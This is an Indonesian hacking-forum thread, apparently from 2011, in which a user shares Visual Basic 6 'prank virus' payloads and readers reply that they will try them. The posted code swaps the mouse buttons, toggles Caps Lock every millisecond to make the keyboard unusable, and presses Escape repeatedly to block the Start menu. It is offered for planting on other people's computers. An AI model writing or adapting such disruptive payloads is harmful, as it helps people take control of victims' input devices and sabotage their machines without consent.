Payloads virus VB6 (jail mode on)

[linuxhit]

Anak jasakom mungkin udah pernah liat nih tutor yah pernah di posting sama mr_blue(aka linuxhit).
buat para om ga usah baca deh dari pada nyesel baca ginian hehehehe
buat newbie aja ya !

saya di sini akan share code untuk membuat virus mempunyai efek yang jahil bukan membuat virus, kalo contoh virus saya udah pernah share deh disini ato tanya ama om om aja pasti tahu


Yang anda butuhkan:
1. OS windows
2. VB6
3. rokok (supaya lebih yahuuud)

ok langsung aja udah siap program VB6 mu, begin:
form1

Quote:Option Explicit
Private Declare Function SwapMouseButton _
Lib "user32" (ByVal bSwap As Long) As Long
Private Const PENCET = &H100&

Private Sub Form_Load()
SwapMouseButton PENCET
End Sub

ini kode untuk membalikan mouse key, kiri jadi kanan, kanan jadi kiri, cukup jail kah untuk virus mu
lanjut:

module

Quote:Public Const VK_CAPITAL = &H14
Public Const KEYEVENTF_KEYUP = &H2
Public Declare Sub keybd_event _
Lib "user32" (ByVal bVk As Byte, _
ByVal bScan As Byte, ByVal dwFlags As Long, _
ByVal dwExtraInfo As Long)

timer1

Quote:Call keybd_event(VK_CAPITAL, 0, 0, 0)
Call keybd_event(VK_CAPITAL, 0, KEYEVENTF_KEYUP, 0)

code diatas untuk membuat fungsi keyboard gak jalan, triknya adalah membuka dan menutup caps lock berulang ulang, jangan lupa timer1 di set dengan interval 1, nah jail gak tuh
lanjut:
form1

Quote:Private Const VK_ESCAPE = &H1B
Private Const KEYEVENTF_KEYUP = &H2
Private Declare Sub keybd_event _
Lib "user32" (ByVal bVk As Byte, _
ByVal bScan As Byte, ByVal dwFlags _
As Long, ByVal dwExtraInfo As Long)

timer1

Quote:Private Sub Timer1_Timer()
Call keybd_event(VK_ESCAPE, 0, 0, 0)
Call keybd_event(VK_ESCAPE, 0, _
KEYEVENTF_KEYUP, 0)
End Sub

code ini berguna mendisable fungsi start, dengan menutupnya berulang-ulang, jangan lupa timer1 set intervalnya 1

thanks buat yang mau baca komen yah
for newbie to newbie

ane ijin coba dl ya om.... thnxs for share

[nubi3]

efek nya pa om???? maw coba tapi takut

[mariachi]

virussss......

[ev1lut10n]

wah gawat klo gitu bisa langsung dibasmi

[linuxhit]

(10-07-2011 04:09 AM)ev1lut10n Wrote:  wah gawat klo gitu bisa langsung dibasmi

iya om buat jail doang kok hahaha.

[Qrembiezs]

mr_blue <<< kok ga asing ya

[mynameismandy]

wow ane praktekin dlu iia gan